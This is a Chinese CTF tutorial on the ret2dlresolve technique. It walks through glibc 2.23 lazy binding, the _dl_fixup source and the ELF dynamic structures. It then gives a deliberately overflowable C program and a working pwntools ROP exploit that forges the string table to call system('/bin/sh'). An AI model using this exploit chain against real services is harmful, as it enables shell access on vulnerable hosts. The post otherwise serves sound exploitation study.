• 最近经常做到only_read类型的题目,这种类型的题目我都是使用SROP做的非常麻烦。而这种题型ret2dlresolve的利用就变得非常方便。
  • 注:没有特别说明,调试环境和题目环境都是在glibc2.23下进行的
  • 参考博客:ret2dlresolve超详细教程(x86&x64)-CSDN博客

前置知识

  • ret2libc中我们已经初步了解了pltgot这两个表,我们泄露libc的地址都是通过got表来泄露的,并且已经稍微了解延迟绑定技术。并且泄露的时候我们需要找已经被调用过一次的库函数的got表地址,这样我才能泄露出libc的地址,否则泄露的并不是libc的地址
  • 因为Linux中的延迟绑定机制导致了函数在没调用之前是不会写入libc的地址到got表的。而在第一次调用的库函数的时候,并不是直接跳转到libc中相应的地址去执行相关函数,而是先会执行一个名为_dl_runtime_resolve(link_map,reloc_arg)的函数。先将函数的libc地址写入到got表后,程序才会真正的调用函数。
  • ret2dlresolve其实就是通过溢出等手段,控制调用函数_dl_runtime_resolve(link_map,reloc_arg)时传入的参数,以及伪造传入参数对应的地址里面的内容。

延迟绑定机制(Lazy Blinding)

  • 主要了解一下延迟绑定机制的主要过程,在了解过程之前我们要先了解一下plt表和got表的具体结构。

  • 我们以这个代码为例子:

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
puts("hello world!");
printf("hello world!");
puts("bye!");
return 0;
}//gcc -g -o lab1 lab1.c

GOT表结构

  • 为了有利于了解过程,先要了解一下这俩个表的结构。

  • 先来了解一下got表的结构,got表其实就是一个指针数组got表里面存储的全部是地址。对于上面编译好的示例程序,先使用IDA pro反编译查看一下got表。

  • 如下图所示:

    • 发现got表其实有俩个节,其中一个是.got,另一个其实是.got.plt。对于第一个.got主要是用于重定位,而不是延迟绑定,在延迟绑定所说的GOT表其实指的是.got.plt这个节。
    • 并且还发现offset puts是被放在了got[3]这边,前面还有got[0]、got[1]got[2]
    • got[0]是指向_DYAMIC所在的位置,而_DYAMIC其实是.dynamic的结构,但是got[1]got[2]都被设置成了0

image-20250705152827457

image-20250705153326028

  • 动态调试看一看got[1]got[2]发现有值存在,而这个值是在程序一开始运行时写入进去的,而不是在编译的时候写入进去的。
  • 并且got[1]存放的其实是link_map *这个指针,got[2]存放的就是_dl_runtime_resolve这个函数的地址。

image-20250705153609694

image-20250705153758279

  • 这样一来就可以知道got表的大致结构了。

image-20250705154250792

PLT表结构

  • 接着在IDA中查看一下PLT表的结构:
    • 这里也发现有.plt表和.plt.got表,询问AI发现是这样,老版本的延迟绑定是将延迟绑定函数1@plt调用_dl_runtime_resolve的那段汇编和在一起(即图中红框)。新版本是新增一个跳板即.plt.got这个地方存放的是__cxa_finalize@plt。这里先了解一下,新版本之后介绍。
    • 点击_puts后会跳转到_puts@plt,之后又会执行一个jump其实就是jump到puts@got一开始存储的值,即_puts@plt+6

image-20250705161418463

image-20250705161654831

image-20250705161721650

  • 这里其实plt表的结构比较清晰:

image-20250705163114066

延迟绑定流程

  • 我们先来调试一下,先了解一延迟绑定的流程。首先是第一次调用puts函数,call puts@plt

image-20250705162706614

  • 接下来就执行puts@plt表存储的指令也就是jmp got[3]注意:这里是jmp到got表存储的地址,而不是jmp到got表,这里got[3]=puts@plt+6

image-20250705162841758

  • 然后就会执行puts@plt+6位置的指令push 0; jmp 0x400420

image-20250705163152961

  • 此时又跳转到plt表的起始位置去执行这段汇编

image-20250705163227757

image-20250705163257587

  • 之后就跳转到got[2]存储的位置,也就是_dl_runtime_resolve_xsavec函数,执行完之后puts@got中存储的就是puts函数的真实地址了。

image-20250705163835810

  • 接下来简述一下流程:

image-20250705165602188

  • 当第二次调用的时候:

image-20250705165549598

_dl_runtime_resolve执行流程

  • 了解完延迟绑定机制后,现在了解一下_dl_runtime_resolve这个函数的执行流程。直接查看源码,在glibc/sysdeps/x86_64/dl-trampoline.h这个文件下,但是这个函数并不是延迟绑定最重要的一个函数。

_dl_fixup

  • _dl_runtime_resolve它会调用_dl_fixup这个函数,此处借一张图
1
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)

img

  • 所以其实延迟绑定的最主要的函数是_dl_fixup这个函数,接下来查看一下这个函数的源码,在文件夹glibc-2.23/elf/dl-runtime.c中实现的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
_dl_fixup (#ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,  # endif struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 关键点,通过reloc->r_info找到.dynsym对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/*关键点:这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7 */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
  • 其中_dl_fixup会调用如下几个函数
1
2
3
4
5
_dl_fixup
->_dl_lookup_symbol_x
->do_lookup_x
->_dl_name_match_p
->check_match

传入参数

  • 在调用_dl_fixup的时候会传入俩个参数,分别为link_map *lElfw(Word) reloc_arg,深入了解以下这俩个参数。
1
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)
  • 在正常的延迟绑定时,link_map* l其实就来自got[1]

image-20250705200827021

  • reloc_arg(重定位表索引)

image-20250705200815390

  • 这里重点介绍一下link_map这个结构体,在glibc-2.23/elf/link.h中可以找到
1
2
3
4
5
6
7
struct link_map
{
ElfW(Addr) l_addr; // 需要链接库的基地址
char *l_name; // 文件路径名称例如libc.so.6 或者./a.out
ElfW(Dyn) *l_ld; // 是当前ELF文件的.dynamic段内存地址
struct link_map *l_next, *l_prev;
};
  • ElfW(Dyn) *l_ld这个地址其实就是在IDA中的这个位置,其实也就是got[0]的位置

image-20250705202922541

  • ElfW(Dyn) *l_ld这个段内存地址保存着很多下面这样的结构体。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct
{
Elf64_Sxword d_tag; // 条目类型
union
{
Elf64_Xword d_val; // 整数值
Elf64_Addr d_ptr; // 地址值,比如表的地址偏移
} d_un;
} Elf64_Dyn;

// d_tag的宏定义如下
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
....


重要过程与结构体

  • 接下来就是ret2dl-resolve的关键点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);


// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];


// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);


// 接着通过strtab+sym->st_name找到符号表字符串,result为具体函数的地址
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);


// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);


// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
  • 首先是这个语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// 1.首先会从link_map这个结构体中取出 *l_ld
struct link_map
{
ElfW(Addr) l_addr; // 需要链接库的基地址
char *l_name; // 文件路径名称例如libc.so.6 或者./a.out
ElfW(Dyn) *l_ld; // 是当前ELF文件的.dynamic段内存地址
struct link_map *l_next, *l_prev;
};

// 2.找到当前ELF文件的.dynamic段内存地址,并且找到结构体Elf64_Dyn中tag=DT_JMPREL(即tag为0x17)也就是.rela.plt的位置
typedef struct
{
Elf64_Sxword d_tag; // 条目类型
union
{
Elf64_Xword d_val; // 整数值
Elf64_Addr d_ptr; // 地址值,比如表的地址偏移
} d_un;
} Elf64_Dyn;

// 3.地址值0x400438h这个就是一个.rela.plt数组记为rela_plt,加上之前push 0或者push 1偏移
.rela.plt结构体如下
typedef struct
{
Elf64_Addr r_offset; /* 存储着对应函数got表的地址*/
Elf64_Xword r_info; /* 重定位类型和符号表索引*/
Elf64_Sxword r_addend; /* 附加值 */
} Elf64_Rela;

// 说一这一句其实就是取对应的.rela.plt结构
reloc = rela_plt[reloc_offset]

image-20250705210546200

image-20250705211116438

  • 接下来这一句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct
{
Elf64_Addr r_offset; /* 存储着对应函数got表的地址*/
Elf64_Xword r_info; /* 重定位类型和符号表索引*/
Elf64_Sxword r_addend; /* 附加值 */
} Elf64_Rela;

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 从reloc中取出r_info这个结构体成员的值,这个成员的值高32位为符号表索引,低32位为重定位类型
reloc->r_info
// 所以我们的这个ELFW(R_SYM)其实就是取r_info中高32位的值
#define ELF64_R_SYM(i) ((i) >> 32)
// &symtab这个其实记录在.dynamic中,如下图所示,它的地址为0x400288其对应的结构体是这样的
typedef struct {
Elf64_Word st_name; // 符号名称在字符串表中的偏移
unsigned char st_info; // 符号类型 & 符号绑定(压缩在一个字节中)
unsigned char st_other; // 保留字段(通常为 0)
Elf64_Half st_shndx; // 该符号所在的节(section index)
Elf64_Addr st_value; // 符号地址(如函数或变量地址)
Elf64_Xword st_size; // 符号大小(如函数长度或变量大小)
} Elf64_Sym;
// 其实就是会指向的是symtab中的某个索引,即指向Elf64_Sym结构体

image-20250705222833330

image-20250705223211616

  • 接下来是做判断的,这里稍微注意一下即可
1
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
  • 接下来
1
2
3
4
5
6
// 接着通过strtab+sym->st_name找到符号表字符串,result为具体函数的地址
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 首先strtab + sym -> st_name会找到strtab中对应函数的字符串
// 其次得到read符号后,就会利用l这个在libc文件或其他库文件的结构体去libc文件中搜索偏移
// 最后返回 libcbase+read_offset即read_addr
// 所以result = read_addr

image-20250705223527227

  • 最后
1
2
//计算符号的最终重定位值
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);

总结

  • 经过对重要过程的分析,一般我们要利用ret2dl-resolve有如下几种思路:
    • 能利用的有_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)中的reloc_arg
    • 还可以伪造某些结构体,或者修改某些结构体的值+伪造结构体
    • 伪造link_map这个结构体

ret2dl-resolve

  • 注意:如果开启了FULL_RELERO就没办法利用ret2dl-resolve,因为FULL_RELERO会使得程序在执行前将这些库函数地址给解析完毕,因此got表中got[1]got[2]中存储的值并不会被使用,所以GOT表中的这俩个地址均为0
  • 其实ret2dl-resolve的基本思路就是我们通过栈溢出,先伪造出调用_dl_runtime_resolve需要传入的结构体,然后由攻击者调用_dl_runtime_resolve函数,从而修改指定函数的got表为system函数,最终达到getshell

64位程序的利用

NO RELRO情况例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
} //gcc -fno-stack-protector -z norelro -no-pie rof.c -o norelro_x64
  • 先来分析一下程序,main函数先输出Welcome to XDCTF2015~!,然后再进入vuln函数

image-20250705230301674

  • 之后查看vuln函数,这里存在栈溢出。

image-20250705230347939

  • 这题我们就采用修改某些结构体的值+伪造结构体,基本思路就是劫持Elf64_Dyn中的d_un成员,劫持到我们伪造的Str_tabel中,然后使用ret调用_dl_runtime_resolve对某个got表重新绑定,绑定成system函数的地址,之后再调用即可system("/bin/sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

typedef struct {
Elf64_Word st_name; // 符号名称在字符串表中的偏移
unsigned char st_info; // 符号类型 & 符号绑定(压缩在一个字节中)
unsigned char st_other; // 保留字段(通常为 0)
Elf64_Half st_shndx; // 该符号所在的节(section index)
Elf64_Addr st_value; // 符号地址(如函数或变量地址)
Elf64_Xword st_size; // 符号大小(如函数长度或变量大小)
} Elf64_Sym;

// 利用的关键语句如下:
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

image-20250705230640517

image-20250705231210248

  • 首先我们来伪造一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = process('./norelro_x64')
context.terminal = ["tmux", "neww"]
context.log_level = 'debug'
elf = ELF('./norelro_x64')
bss_addr = 0x600000 + 0x500
read_plt = elf.plt['read']
gdb.attach(p)
pop_rdi = 0x400773
pop_rsi_r15 = 0x400771
# DT_STRTAB.d_un_addr
dt_strtab = 0x600988
# 直接开始伪造
fake = b'\x00libc.so.6\x00stdin\x00system\x00'
# 进行利用,先栈溢出修改地址,
payload = b'a'*0x78 + p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss_addr)
payload += p64(0)+p64(read_plt)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15) + p64(dt_strtab) + p64(0)
payload += p64(read_plt)+p64(pop_rdi)+p64(bss_addr) # 由于在调用延迟绑定之后会直接调用一次System函数,所以先pop_rdi
payload += p64(0x4004F6) # 0x4004F6为strlen@plt+6
pause()
p.sendline(payload)
payload1 = p64(bss_addr+0x8)
payload2 = b'/bin/sh\x00' + fake
p.sendline(payload2)
pause()
p.sendline(payload1)
p.interactive()

32位程序的利用

相关题目

64位程序

CTF2025_only_read

DASCTF2025上半年赛_mini

32位程序